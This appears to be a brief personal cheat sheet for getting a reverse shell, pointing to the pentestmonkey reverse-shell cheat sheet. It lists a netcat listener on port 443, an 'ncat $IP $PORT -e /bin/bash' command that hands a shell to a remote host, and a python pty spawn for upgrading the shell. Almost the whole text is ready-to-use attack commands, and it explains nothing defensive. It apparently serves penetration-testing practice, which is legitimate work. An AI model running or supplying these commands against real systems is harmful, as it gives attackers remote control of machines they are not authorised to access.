http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
-
Make sure you have netcat and nmap installed. I search for them in synaptic myself
sudo synaptic
-> Search: "nmap" and "netcat traditional" -
sudo nc -l 443
# to listen on port 443 -
ncat $IP $PORT -e /bin/bash
or/bin/sh
# reverse connection, example: ncat x.x.x.x 443 -e /bin/sh -
python -c "import pty; pty.spawn('/bin/bash')"